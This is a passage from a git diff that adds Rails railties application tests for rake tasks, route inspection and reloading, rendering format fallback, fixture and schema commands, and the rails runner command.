+        refute_match(/ActiveRecord::ProtectedEnvironmentError/, output)
+      end
+    end
+
+    def test_environment_is_required_in_rake_tasks
+      app_file "config/environment.rb", <<-RUBY
+        SuperMiddleware = Struct.new(:app)
+
+        Rails.application.configure do
+          config.middleware.use SuperMiddleware
+        end
+
+        Rails.application.initialize!
+      RUBY
+
+      assert_match("SuperMiddleware", Dir.chdir(app_path) { `bin/rails middleware` })
+    end
+
+    def test_initializers_are_executed_in_rake_tasks
+      add_to_config <<-RUBY
+        initializer "do_something" do
+          puts "Doing something..."
+        end
+
+        rake_tasks do
+          task do_nothing: :environment do
+          end
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rails do_nothing` }
+      assert_match "Doing something...", output
+    end
+
+    def test_does_not_explode_when_accessing_a_model
+      add_to_config <<-RUBY
+        rake_tasks do
+          task do_nothing: :environment do
+            Hello.new.world
+          end
+        end
+      RUBY
+
+      app_file "app/models/hello.rb", <<-RUBY
+        class Hello
+          def world
+            puts 'Hello world'
+          end
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rails do_nothing` }
+      assert_match "Hello world", output
+    end
+
+    def test_should_not_eager_load_model_for_rake
+      add_to_config <<-RUBY
+        rake_tasks do
+          task do_nothing: :environment do
+          end
+        end
+      RUBY
+
+      add_to_env_config "production", <<-RUBY
+        config.eager_load = true
+      RUBY
+
+      app_file "app/models/hello.rb", <<-RUBY
+        raise 'should not be pre-required for rake even eager_load=true'
+      RUBY
+
+      Dir.chdir(app_path) do
+        assert system("bin/rails do_nothing RAILS_ENV=production"),
+               "should not be pre-required for rake even eager_load=true"
+      end
+    end
+
+    def test_code_statistics_sanity
+      assert_match "Code LOC: 25     Test LOC: 0     Code to Test Ratio: 1:0.0",
+        Dir.chdir(app_path) { `bin/rails stats` }
+    end
+
+    def test_rails_routes_calls_the_route_inspector
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/cart', to: 'cart#show'
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rails routes` }
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
+    end
+
+    def test_singular_resource_output_in_rake_routes
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          resource :post
+        end
+      RUBY
+
+      expected_output = ["   Prefix Verb   URI Pattern          Controller#Action",
+                         " new_post GET    /post/new(.:format)  posts#new",
+                         "edit_post GET    /post/edit(.:format) posts#edit",
+                         "     post GET    /post(.:format)      posts#show",
+                         "          PATCH  /post(.:format)      posts#update",
+                         "          PUT    /post(.:format)      posts#update",
+                         "          DELETE /post(.:format)      posts#destroy",
+                         "          POST   /post(.:format)      posts#create\n"].join("\n")
+
+      output = Dir.chdir(app_path) { `bin/rails routes -c PostController` }
+      assert_equal expected_output, output
+    end
+
+    def test_rails_routes_with_global_search_key
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/cart', to: 'cart#show'
+          post '/cart', to: 'cart#create'
+          get '/basketballs', to: 'basketball#index'
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rails routes -g show` }
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
+
+      output = Dir.chdir(app_path) { `bin/rails routes -g POST` }
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n       POST /cart(.:format) cart#create\n", output
+
+      output = Dir.chdir(app_path) { `bin/rails routes -g basketballs` }
+      assert_equal "     Prefix Verb URI Pattern            Controller#Action\n" \
+                   "basketballs GET  /basketballs(.:format) basketball#index\n", output
+    end
+
+    def test_rails_routes_with_controller_search_key
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/cart', to: 'cart#show'
+          get '/basketball', to: 'basketball#index'
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rails routes -c cart` }
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
+
+      output = Dir.chdir(app_path) { `bin/rails routes -c Cart` }
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
+
+      output = Dir.chdir(app_path) { `bin/rails routes -c CartController` }
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
+    end
+
+    def test_rails_routes_with_namespaced_controller_search_key
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          namespace :admin do
+            resource :post
+          end
+        end
+      RUBY
+      expected_output = ["         Prefix Verb   URI Pattern                Controller#Action",
+                         " new_admin_post GET    /admin/post/new(.:format)  admin/posts#new",
+                         "edit_admin_post GET    /admin/post/edit(.:format) admin/posts#edit",
+                         "     admin_post GET    /admin/post(.:format)      admin/posts#show",
+                         "                PATCH  /admin/post(.:format)      admin/posts#update",
+                         "                PUT    /admin/post(.:format)      admin/posts#update",
+                         "                DELETE /admin/post(.:format)      admin/posts#destroy",
+                         "                POST   /admin/post(.:format)      admin/posts#create\n"].join("\n")
+
+      output = Dir.chdir(app_path) { `bin/rails routes -c Admin::PostController` }
+      assert_equal expected_output, output
+
+      output = Dir.chdir(app_path) { `bin/rails routes -c PostController` }
+      assert_equal expected_output, output
+    end
+
+    def test_rails_routes_displays_message_when_no_routes_are_defined
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+        end
+      RUBY
+
+      assert_equal <<-MESSAGE.strip_heredoc, Dir.chdir(app_path) { `bin/rails routes` }
+        You don't have any routes defined!
+
+        Please add some routes in config/routes.rb.
+
+        For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html.
+      MESSAGE
+    end
+
+    def test_rake_routes_with_rake_options
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/cart', to: 'cart#show'
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rake --rakefile Rakefile routes` }
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
+    end
+
+    def test_logger_is_flushed_when_exiting_production_rake_tasks
+      add_to_config <<-RUBY
+        rake_tasks do
+          task log_something: :environment do
+            Rails.logger.error("Sample log message")
+          end
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rails log_something RAILS_ENV=production && cat log/production.log` }
+      assert_match "Sample log message", output
+    end
+
+    def test_loading_specific_fixtures
+      Dir.chdir(app_path) do
+        `bin/rails generate model user username:string password:string;
+         bin/rails generate model product name:string;
+         bin/rails db:migrate`
+      end
+
+      require "#{rails_root}/config/environment"
+
+      # loading a specific fixture
+      errormsg = Dir.chdir(app_path) { `bin/rails db:fixtures:load FIXTURES=products` }
+      assert $?.success?, errormsg
+
+      assert_equal 2, ::AppTemplate::Application::Product.count
+      assert_equal 0, ::AppTemplate::Application::User.count
+    end
+
+    def test_loading_only_yml_fixtures
+      Dir.chdir(app_path) do
+        `bin/rails db:migrate`
+      end
+
+      app_file "test/fixtures/products.csv", ""
+
+      require "#{rails_root}/config/environment"
+      errormsg = Dir.chdir(app_path) { `bin/rails db:fixtures:load` }
+      assert $?.success?, errormsg
+    end
+
+    def test_scaffold_tests_pass_by_default
+      output = Dir.chdir(app_path) do
+        `bin/rails generate scaffold user username:string password:string;
+         RAILS_ENV=test bin/rails db:migrate test`
+      end
+
+      assert_match(/7 runs, 9 assertions, 0 failures, 0 errors/, output)
+      assert_no_match(/Errors running/, output)
+    end
+
+    def test_api_scaffold_tests_pass_by_default
+      add_to_config <<-RUBY
+        config.api_only = true
+      RUBY
+
+      app_file "app/controllers/application_controller.rb", <<-RUBY
+        class ApplicationController < ActionController::API
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) do
+        `bin/rails generate scaffold user username:string password:string;
+         RAILS_ENV=test bin/rails db:migrate test`
+      end
+
+      assert_match(/5 runs, 7 assertions, 0 failures, 0 errors/, output)
+      assert_no_match(/Errors running/, output)
+    end
+
+    def test_scaffold_with_references_columns_tests_pass_by_default
+      output = Dir.chdir(app_path) do
+        `bin/rails generate model Product;
+         bin/rails generate model Cart;
+         bin/rails generate scaffold LineItems product:references cart:belongs_to;
+         RAILS_ENV=test bin/rails db:migrate test`
+      end
+
+      assert_match(/7 runs, 9 assertions, 0 failures, 0 errors/, output)
+      assert_no_match(/Errors running/, output)
+    end
+
+    def test_db_test_prepare_when_using_sql_format
+      add_to_config "config.active_record.schema_format = :sql"
+      output = Dir.chdir(app_path) do
+        `bin/rails generate scaffold user username:string;
+         bin/rails db:migrate;
+         bin/rails db:test:prepare 2>&1 --trace`
+      end
+      assert_match(/Execute db:test:load_structure/, output)
+    end
+
+    def test_rake_dump_structure_should_respect_db_structure_env_variable
+      Dir.chdir(app_path) do
+        # ensure we have a schema_migrations table to dump
+        `bin/rails db:migrate db:structure:dump SCHEMA=db/my_structure.sql`
+      end
+      assert File.exist?(File.join(app_path, "db", "my_structure.sql"))
+    end
+
+    def test_rake_dump_structure_should_be_called_twice_when_migrate_redo
+      add_to_config "config.active_record.schema_format = :sql"
+
+      output = Dir.chdir(app_path) do
+        `bin/rails g model post title:string;
+         bin/rails db:migrate:redo 2>&1 --trace;`
+      end
+
+      # expect only Invoke db:structure:dump (first_time)
+      assert_no_match(/^\*\* Invoke db:structure:dump\s+$/, output)
+    end
+
+    def test_rake_dump_schema_cache
+      Dir.chdir(app_path) do
+        `bin/rails generate model post title:string;
+         bin/rails generate model product name:string;
+         bin/rails db:migrate db:schema:cache:dump`
+      end
+      assert File.exist?(File.join(app_path, "db", "schema_cache.yml"))
+    end
+
+    def test_rake_clear_schema_cache
+      Dir.chdir(app_path) do
+        `bin/rails db:schema:cache:dump db:schema:cache:clear`
+      end
+      assert !File.exist?(File.join(app_path, "db", "schema_cache.yml"))
+    end
+
+    def test_copy_templates
+      Dir.chdir(app_path) do
+        `bin/rails app:templates:copy`
+        %w(controller mailer scaffold).each do |dir|
+          assert File.exist?(File.join(app_path, "lib", "templates", "erb", dir))
+        end
+        %w(controller helper scaffold_controller assets).each do |dir|
+          assert File.exist?(File.join(app_path, "lib", "templates", "rails", dir))
+        end
+      end
+    end
+
+    def test_template_load_initializers
+      app_file "config/initializers/dummy.rb", "puts 'Hello, World!'"
+      app_file "template.rb", ""
+
+      output = Dir.chdir(app_path) do
+        `bin/rails app:template LOCATION=template.rb`
+      end
+
+      assert_match(/Hello, World!/, output)
+    end
+  end
+end
diff --git a/railties/test/application/rendering_test.rb b/railties/test/application/rendering_test.rb
new file mode 100644
index 0000000000..ccafc5b6f1
--- /dev/null
+++ b/railties/test/application/rendering_test.rb
@@ -0,0 +1,44 @@
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class RoutingTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "Unknown format falls back to HTML template" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'pages/:id', to: 'pages#show'
+        end
+      RUBY
+
+      app_file "app/controllers/pages_controller.rb", <<-RUBY
+        class PagesController < ApplicationController
+          layout false
+
+          def show
+          end
+        end
+      RUBY
+
+      app_file "app/views/pages/show.html.erb", <<-RUBY
+        <%= params[:id] %>
+      RUBY
+
+      get "/pages/foo"
+      assert_equal 200, last_response.status
+
+      get "/pages/foo.bar"
+      assert_equal 200, last_response.status
+    end
+  end
+end
diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb
new file mode 100644
index 0000000000..bc7580d6f4
--- /dev/null
+++ b/railties/test/application/routing_test.rb
@@ -0,0 +1,680 @@
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class RoutingTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "rails/welcome in development" do
+      app("development")
+      get "/"
+      assert_equal 200, last_response.status
+    end
+
+    test "rails/info in development" do
+      app("development")
+      get "/rails/info"
+      assert_equal 302, last_response.status
+    end
+
+    test "rails/info/routes in development" do
+      app("development")
+      get "/rails/info/routes"
+      assert_equal 200, last_response.status
+    end
+
+    test "rails/info/properties in development" do
+      app("development")
+      get "/rails/info/properties"
+      assert_equal 200, last_response.status
+    end
+
+    test "/rails/info routes are accessible with globbing route present" do
+      app("development")
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '*foo', to: 'foo#index'
+        end
+      RUBY
+
+      get "/rails/info"
+      assert_equal 302, last_response.status
+
+      get "rails/info/routes"
+      assert_equal 200, last_response.status
+
+      get "rails/info/properties"
+      assert_equal 200, last_response.status
+    end
+
+    test "root takes precedence over internal welcome controller" do
+      app("development")
+
+      assert_welcome get("/")
+
+      controller :foo, <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render plain: "foo"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          root to: "foo#index"
+        end
+      RUBY
+
+      get "/"
+      assert_equal "foo", last_response.body
+    end
+
+    test "rails/welcome in production" do
+      app("production")
+      get "/"
+      assert_equal 404, last_response.status
+    end
+
+    test "rails/info in production" do
+      app("production")
+      get "/rails/info"
+      assert_equal 404, last_response.status
+    end
+
+    test "rails/info/routes in production" do
+      app("production")
+      get "/rails/info/routes"
+      assert_equal 404, last_response.status
+    end
+
+    test "rails/info/properties in production" do
+      app("production")
+      get "/rails/info/properties"
+      assert_equal 404, last_response.status
+    end
+
+    test "simple controller" do
+      simple_controller
+
+      get "/foo"
+      assert_equal "foo", last_response.body
+    end
+
+    test "simple controller with helper" do
+      controller :foo, <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render inline: "<%= foo_or_bar? %>"
+          end
+        end
+      RUBY
+
+      app_file "app/helpers/bar_helper.rb", <<-RUBY
+        module BarHelper
+          def foo_or_bar?
+            "bar"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller(/:action)'
+        end
+      RUBY
+
+      get "/foo"
+      assert_equal "bar", last_response.body
+    end
+
+    test "mount rack app" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount lambda { |env| [200, {}, [env["PATH_INFO"]]] }, at: "/blog"
+          # The line below is required because mount sometimes
+          # fails when a resource route is added.
+          resource :user
+        end
+      RUBY
+
+      get "/blog/archives"
+      assert_equal "/archives", last_response.body
+    end
+
+    test "mount named rack app" do
+      controller :foo, <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render plain: my_blog_path
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount lambda { |env| [200, {}, [env["PATH_INFO"]]] }, at: "/blog", as: "my_blog"
+          get '/foo' => 'foo#index'
+        end
+      RUBY
+
+      get "/foo"
+      assert_equal "/blog", last_response.body
+    end
+
+    test "multiple controllers" do
+      controller :foo, <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render plain: "foo"
+          end
+        end
+      RUBY
+
+      controller :bar, <<-RUBY
+        class BarController < ActionController::Base
+          def index
+            render plain: "bar"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller(/:action)'
+        end
+      RUBY
+
+      get "/foo"
+      assert_equal "foo", last_response.body
+
+      get "/bar"
+      assert_equal "bar", last_response.body
+    end
+
+    test "nested controller" do
+      controller "foo", <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render plain: "foo"
+          end
+        end
+      RUBY
+
+      controller "admin/foo", <<-RUBY
+        module Admin
+          class FooController < ApplicationController
+            def index
+              render plain: "admin::foo"
+            end
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'admin/foo', to: 'admin/foo#index'
+          get 'foo', to: 'foo#index'
+        end
+      RUBY
+
+      get "/foo"
+      assert_equal "foo", last_response.body
+
+      get "/admin/foo"
+      assert_equal "admin::foo", last_response.body
+    end
+
+    test "routes appending blocks" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller/:action'
+        end
+      RUBY
+
+      add_to_config <<-R
+        routes.append do
+          get '/win' => lambda { |e| [200, {'Content-Type'=>'text/plain'}, ['WIN']] }
+        end
+      R
+
+      app "development"
+
+      get "/win"
+      assert_equal "WIN", last_response.body
+
+      app_file "config/routes.rb", <<-R
+        Rails.application.routes.draw do
+          get 'lol' => 'hello#index'
+        end
+      R
+
+      get "/win"
+      assert_equal "WIN", last_response.body
+    end
+
+    {
+      "development" => ["baz", "http://www.apple.com", "/dashboard"],
+      "production"  => ["bar", "http://www.microsoft.com", "/profile"]
+    }.each do |mode, (expected_action, expected_url, expected_mapping)|
+      test "reloads routes when configuration is changed in #{mode}" do
+        controller :foo, <<-RUBY
+          class FooController < ApplicationController
+            def bar
+              render plain: "bar"
+            end
+
+            def baz
+              render plain: "baz"
+            end
+
+            def custom
+              render plain: custom_url
+            end
+
+            def mapping
+              render plain: url_for(User.new)
+            end
+          end
+        RUBY
+
+        app_file "app/models/user.rb", <<-RUBY
+          class User
+            extend ActiveModel::Naming
+            include ActiveModel::Conversion
+
+            def self.model_name
+              @_model_name ||= ActiveModel::Name.new(self.class, nil, "User")
+            end
+
+            def persisted?
+              false
+            end
+          end
+        RUBY
+
+        app_file "config/routes.rb", <<-RUBY
+          Rails.application.routes.draw do
+            get 'foo', to: 'foo#bar'
+            get 'custom', to: 'foo#custom'
+            get 'mapping', to: 'foo#mapping'
+
+            direct(:custom) { "http://www.microsoft.com" }
+            resolve("User") { "/profile" }
+          end
+        RUBY
+
+        app(mode)
+
+        get "/foo"
+        assert_equal "bar", last_response.body
+
+        get "/custom"
+        assert_equal "http://www.microsoft.com", last_response.body
+
+        get "/mapping"
+        assert_equal "/profile", last_response.body
+
+        app_file "config/routes.rb", <<-RUBY
+          Rails.application.routes.draw do
+            get 'foo', to: 'foo#baz'
+            get 'custom', to: 'foo#custom'
+            get 'mapping', to: 'foo#mapping'
+
+            direct(:custom) { "http://www.apple.com" }
+            resolve("User") { "/dashboard" }
+          end
+        RUBY
+
+        sleep 0.1
+
+        get "/foo"
+        assert_equal expected_action, last_response.body
+
+        get "/custom"
+        assert_equal expected_url, last_response.body
+
+        get "/mapping"
+        assert_equal expected_mapping, last_response.body
+      end
+    end
+
+    test "routes are loaded just after initialization" do
+      require "#{app_path}/config/application"
+
+      # Create the rack app just inside after initialize callback
+      ActiveSupport.on_load(:after_initialize) do
+        ::InitializeRackApp = lambda { |env| [200, {}, ["InitializeRackApp"]] }
+      end
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'foo', to: ::InitializeRackApp
+        end
+      RUBY
+
+      get "/foo"
+      assert_equal "InitializeRackApp", last_response.body
+    end
+
+    test "reload_routes! is part of Rails.application API" do
+      app("development")
+      assert_nothing_raised do
+        Rails.application.reload_routes!
+      end
+    end
+
+    def test_root_path
+      app("development")
+
+      controller :foo, <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render plain: "foo"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'foo', :to => 'foo#index'
+          root :to => 'foo#index'
+        end
+      RUBY
+
+      remove_file "public/index.html"
+
+      get "/"
+      assert_equal "foo", last_response.body
+    end
+
+    test "routes are added and removed when reloading" do
+      app("development")
+
+      controller :foo, <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render plain: "foo"
+          end
+
+          def custom
+            render plain: custom_url
+          end
+
+          def mapping
+            render plain: url_for(User.new)
+          end
+        end
+      RUBY
+
+      controller :bar, <<-RUBY
+        class BarController < ApplicationController
+          def index
+            render plain: "bar"
+          end
+        end
+      RUBY
+
+      app_file "app/models/user.rb", <<-RUBY
+        class User
+          extend ActiveModel::Naming
+          include ActiveModel::Conversion
+
+          def self.model_name
+            @_model_name ||= ActiveModel::Name.new(self.class, nil, "User")
+          end
+
+          def persisted?
+            false
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'foo', to: 'foo#index'
+        end
+      RUBY
+
+      get "/foo"
+      assert_equal "foo", last_response.body
+      assert_equal "/foo", Rails.application.routes.url_helpers.foo_path
+
+      get "/bar"
+      assert_equal 404, last_response.status
+      assert_raises NoMethodError do
+        assert_equal "/bar", Rails.application.routes.url_helpers.bar_path
+      end
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'foo', to: 'foo#index'
+          get 'bar', to: 'bar#index'
+
+          get 'custom', to: 'foo#custom'
+          direct(:custom) { 'http://www.apple.com' }
+
+          get 'mapping', to: 'foo#mapping'
+          resolve('User') { '/profile' }
+        end
+      RUBY
+
+      Rails.application.reload_routes!
+
+      get "/foo"
+      assert_equal "foo", last_response.body
+      assert_equal "/foo", Rails.application.routes.url_helpers.foo_path
+
+      get "/bar"
+      assert_equal "bar", last_response.body
+      assert_equal "/bar", Rails.application.routes.url_helpers.bar_path
+
+      get "/custom"
+      assert_equal "http://www.apple.com", last_response.body
+      assert_equal "http://www.apple.com", Rails.application.routes.url_helpers.custom_url
+
+      get "/mapping"
+      assert_equal "/profile", last_response.body
+      assert_equal "/profile", Rails.application.routes.url_helpers.polymorphic_path(User.new)
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'foo', to: 'foo#index'
+        end
+      RUBY
+
+      Rails.application.reload_routes!
+
+      get "/foo"
+      assert_equal "foo", last_response.body
+      assert_equal "/foo", Rails.application.routes.url_helpers.foo_path
+
+      get "/bar"
+      assert_equal 404, last_response.status
+      assert_raises NoMethodError do
+        assert_equal "/bar", Rails.application.routes.url_helpers.bar_path
+      end
+
+      get "/custom"
+      assert_equal 404, last_response.status
+      assert_raises NoMethodError do
+        assert_equal "http://www.apple.com", Rails.application.routes.url_helpers.custom_url
+      end
+
+      get "/mapping"
+      assert_equal 404, last_response.status
+      assert_raises NoMethodError do
+        assert_equal "/profile", Rails.application.routes.url_helpers.polymorphic_path(User.new)
+      end
+    end
+
+    test "named routes are cleared when reloading" do
+      app("development")
+
+      controller :foo, <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render plain: "foo"
+          end
+        end
+      RUBY
+
+      controller :bar, <<-RUBY
+        class BarController < ApplicationController
+          def index
+            render plain: "bar"
+          end
+        end
+      RUBY
+
+      app_file "app/models/user.rb", <<-RUBY
+        class User
+          extend ActiveModel::Naming
+          include ActiveModel::Conversion
+
+          def self.model_name
+            @_model_name ||= ActiveModel::Name.new(self.class, nil, "User")
+          end
+
+          def persisted?
+            false
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':locale/foo', to: 'foo#index', as: 'foo'
+          get 'users', to: 'foo#users', as: 'users'
+          direct(:microsoft) { 'http://www.microsoft.com' }
+          resolve('User') { '/profile' }
+        end
+      RUBY
+
+      get "/en/foo"
+      assert_equal "foo", last_response.body
+      assert_equal "/en/foo", Rails.application.routes.url_helpers.foo_path(locale: "en")
+      assert_equal "http://www.microsoft.com", Rails.application.routes.url_helpers.microsoft_url
+      assert_equal "/profile", Rails.application.routes.url_helpers.polymorphic_path(User.new)
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':locale/bar', to: 'bar#index', as: 'foo'
+          get 'users', to: 'foo#users', as: 'users'
+          direct(:apple) { 'http://www.apple.com' }
+        end
+      RUBY
+
+      Rails.application.reload_routes!
+
+      get "/en/foo"
+      assert_equal 404, last_response.status
+
+      get "/en/bar"
+      assert_equal "bar", last_response.body
+      assert_equal "/en/bar", Rails.application.routes.url_helpers.foo_path(locale: "en")
+      assert_equal "http://www.apple.com", Rails.application.routes.url_helpers.apple_url
+      assert_equal "/users", Rails.application.routes.url_helpers.polymorphic_path(User.new)
+
+      assert_raises NoMethodError do
+        assert_equal "http://www.microsoft.com", Rails.application.routes.url_helpers.microsoft_url
+      end
+    end
+
+    test "resource routing with irregular inflection" do
+      app_file "config/initializers/inflection.rb", <<-RUBY
+        ActiveSupport::Inflector.inflections do |inflect|
+          inflect.irregular 'yazi', 'yazilar'
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          resources :yazilar
+        end
+      RUBY
+
+      controller "yazilar", <<-RUBY
+        class YazilarController < ApplicationController
+          def index
+            render plain: 'yazilar#index'
+          end
+        end
+      RUBY
+
+      get "/yazilars"
+      assert_equal 404, last_response.status
+
+      get "/yazilar"
+      assert_equal 200, last_response.status
+    end
+
+    test "reloading routes removes methods and doesn't undefine them" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/url', to: 'url#index'
+        end
+      RUBY
+
+      app_file "app/models/url_helpers.rb", <<-RUBY
+        module UrlHelpers
+          def foo_path
+            "/foo"
+          end
+        end
+      RUBY
+
+      app_file "app/models/context.rb", <<-RUBY
+        class Context
+          include UrlHelpers
+          include Rails.application.routes.url_helpers
+        end
+      RUBY
+
+      controller "url", <<-RUBY
+        class UrlController < ApplicationController
+          def index
+            context = Context.new
+            render plain: context.foo_path
+          end
+        end
+      RUBY
+
+      get "/url"
+      assert_equal "/foo", last_response.body
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/url', to: 'url#index'
+          get '/bar', to: 'foo#index', as: 'foo'
+        end
+      RUBY
+
+      Rails.application.reload_routes!
+
+      get "/url"
+      assert_equal "/bar", last_response.body
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/url', to: 'url#index'
+        end
+      RUBY
+
+      Rails.application.reload_routes!
+
+      get "/url"
+      assert_equal "/foo", last_response.body
+    end
+  end
+end
diff --git a/railties/test/application/runner_test.rb b/railties/test/application/runner_test.rb
new file mode 100644
index 0000000000..81f717b2c3
--- /dev/null
+++ b/railties/test/application/runner_test.rb
@@ -0,0 +1,133 @@
+require "isolation/abstract_unit"
+require "env_helpers"
+
+module ApplicationTests
+  class RunnerTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include EnvHelpers
+
+    def setup
+      build_app
+
+      # Lets create a model so we have something to play with
+      app_file "app/models/user.rb", <<-MODEL
+      class User
+        def self.count
+          42
+        end
+      end
+      MODEL
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_should_include_runner_in_shebang_line_in_help_without_option
+      assert_match "/rails runner", Dir.chdir(app_path) { `bin/rails runner` }
+    end
+
+    def test_should_include_runner_in_shebang_line_in_help
+      assert_match "/rails runner", Dir.chdir(app_path) { `bin/rails runner --help` }
+    end
+
+    def test_should_run_ruby_statement
+      assert_match "42", Dir.chdir(app_path) { `bin/rails runner "puts User.count"` }
+    end
+
+    def test_should_set_argv_when_running_code
+      output = Dir.chdir(app_path) {
+        # Both long and short args, at start and end of ARGV
+        `bin/rails runner "puts ARGV.join(',')" --foo a1 -b a2 a3 --moo`
+      }
+      assert_equal "--foo,a1,-b,a2,a3,--moo", output.chomp
+    end
+
+    def test_should_run_file
+      app_file "bin/count_users.rb", <<-SCRIPT
+      puts User.count
+      SCRIPT
+
+      assert_match "42", Dir.chdir(app_path) { `bin/rails runner "bin/count_users.rb"` }
+    end
+
+    def test_no_minitest_loaded_in_production_mode
+      app_file "bin/print_features.rb", <<-SCRIPT
+      p $LOADED_FEATURES.grep(/minitest/)
+      SCRIPT
+      assert_match "[]", Dir.chdir(app_path) {
+        `RAILS_ENV=production bin/rails runner "bin/print_features.rb"`
+      }
+    end
+
+    def test_should_set_dollar_0_to_file
+      app_file "bin/dollar0.rb", <<-SCRIPT
+      puts $0
+      SCRIPT
+
+      assert_match "bin/dollar0.rb", Dir.chdir(app_path) { `bin/rails runner "bin/dollar0.rb"` }
+    end
+
+    def test_should_set_dollar_program_name_to_file
+      app_file "bin/program_name.rb", <<-SCRIPT
+      puts $PROGRAM_NAME
+      SCRIPT
+
+      assert_match "bin/program_name.rb", Dir.chdir(app_path) { `bin/rails runner "bin/program_name.rb"` }
+    end
+
+    def test_passes_extra_args_to_file
+      app_file "bin/program_name.rb", <<-SCRIPT
+      p ARGV
+      SCRIPT
+
+      assert_match %w( a b ).to_s, Dir.chdir(app_path) { `bin/rails runner "bin/program_name.rb" a b` }
+    end
+
+    def test_should_run_stdin
+      app_file "bin/count_users.rb", <<-SCRIPT
+      puts User.count
+      SCRIPT
+
+      assert_match "42", Dir.chdir(app_path) { `cat bin/count_users.rb | bin/rails runner -` }
+    end
+
+    def test_with_hook
+      add_to_config <<-RUBY
+        runner do |app|
+          app.config.ran = true
+        end
+      RUBY
+
+      assert_match "true", Dir.chdir(app_path) { `bin/rails runner "puts Rails.application.config.ran"` }
+    end
+
+    def test_default_environment
+      assert_match "development", Dir.chdir(app_path) { `bin/rails runner "puts Rails.env"` }
+    end
+
+    def test_runner_detects_syntax_errors
+      output = Dir.chdir(app_path) { `bin/rails runner "puts 'hello world" 2>&1` }
+      assert_not $?.success?
+      assert_match "unterminated string meets end of file", output
+    end
+
+    def test_runner_detects_bad_script_name
+      output = Dir.chdir(app_path) { `bin/rails runner "iuiqwiourowe" 2>&1` }
+      assert_not $?.success?
+      assert_match "undefined local variable or method `iuiqwiourowe' for", output
+    end
+
+    def test_environment_with_rails_env
+      with_rails_env "production" do
+        assert_match "production", Dir.chdir(app_path) { `bin/rails runner "puts Rails.env"` }
+      end
+    end
+
